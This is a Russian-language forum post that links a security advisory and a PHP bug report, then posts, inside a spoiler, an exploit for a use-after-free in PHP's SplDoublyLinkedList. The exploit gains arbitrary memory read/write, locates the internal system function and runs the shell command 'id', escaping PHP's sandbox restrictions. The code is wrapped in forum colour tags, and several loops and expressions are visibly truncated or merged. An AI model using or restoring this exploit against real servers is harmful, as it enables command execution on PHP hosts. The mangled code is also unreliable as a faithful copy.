Показать сообщение отдельно

  #8  
Старый 21.11.2020, 17:26
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

https://ssd-disclosure.com/ssd-advis...andbox-escape/

https://bugs.php.net/bug.php?id=80111

.SpoilerTarget" type="button">Spoiler: exploit

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]next() or
# $dll->prev() in the zval's destructor.
#
#

[/COLOR][COLOR="#0000BB"]error_reporting[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]E_ALL[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'NB_DANGLING'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]200[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SIZE_ELEM_STR'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]40[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'STR_MARKER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0xcf5ea1[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
}

function[/
COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]--)
{
[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
[/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SIZE_ELEM_STR[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x12345678[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]# ptr
[/COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x08[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000004[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]# type + other stuff

# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
[/COLOR][COLOR="#007700"]for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]next[/COLOR][COLOR="#007700"]();

if([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$array_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]# Change the zval type from zend_object to zend_string
[/COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000006[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]gettype[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) !=[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]'Exploit failed: Unable to change zend_array to zend_string'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()

# Read zend_array->pDestructor
[/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$array_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x30[/COLOR][COLOR="#007700"]);

print
([/COLOR][COLOR="#DD0000"]'Leaked zval_ptr_dtor address: 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Use it to find zif_system
[/COLOR][COLOR="#0000BB"]$system_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_system_address[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]);
print([/COLOR][COLOR="#DD0000"]'Got PHP_FUNCTION(system): 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$system_addr[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
[/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](function ([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]) {});
[/
COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x200[/COLOR][COLOR="#007700"]));

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]);
print([/COLOR][COLOR="#DD0000"]'Replaced zend_closure by the fake one: 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# Calling it now

[/COLOR][COLOR="#007700"]print([/COLOR][COLOR="#DD0000"]'Running system("id");'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]([/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]print_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DONE'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);
}
}

class[/
COLOR][COLOR="#0000BB"]DanglingTrigger
[/COLOR][COLOR="#007700"]{
function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"];
}

function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]()
{
global[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#FF8000"]#D print('__destruct: ' . $this->i . "\n");
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]123[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
}
}

class[/
COLOR][COLOR="#0000BB"]SystemExecutor[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]ArrayObject
[/COLOR][COLOR="#007700"]{
function[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]parent[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]);
}
}

[/
COLOR][COLOR="#FF8000"]/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
global[/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000006[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

if([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]&= ([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
[/COLOR][COLOR="#007700"]for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]DanglingTrigger[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]rewind[/COLOR][COLOR="#007700"]();
}

[/
COLOR][COLOR="#FF8000"]# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'NB_STRS'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]50[/COLOR][COLOR="#007700"]);
for([/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Setup the last DLlist, which will exploit the UAF
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]] = new[/COLOR][COLOR="#0000BB"]SplDoublyLinkedList[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]UAFTrigger[/COLOR][COLOR="#007700"]());
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]rewind[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#FF8000"]# Trigger the bug on the first list
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][/COLOR
 
Ответить с цитированием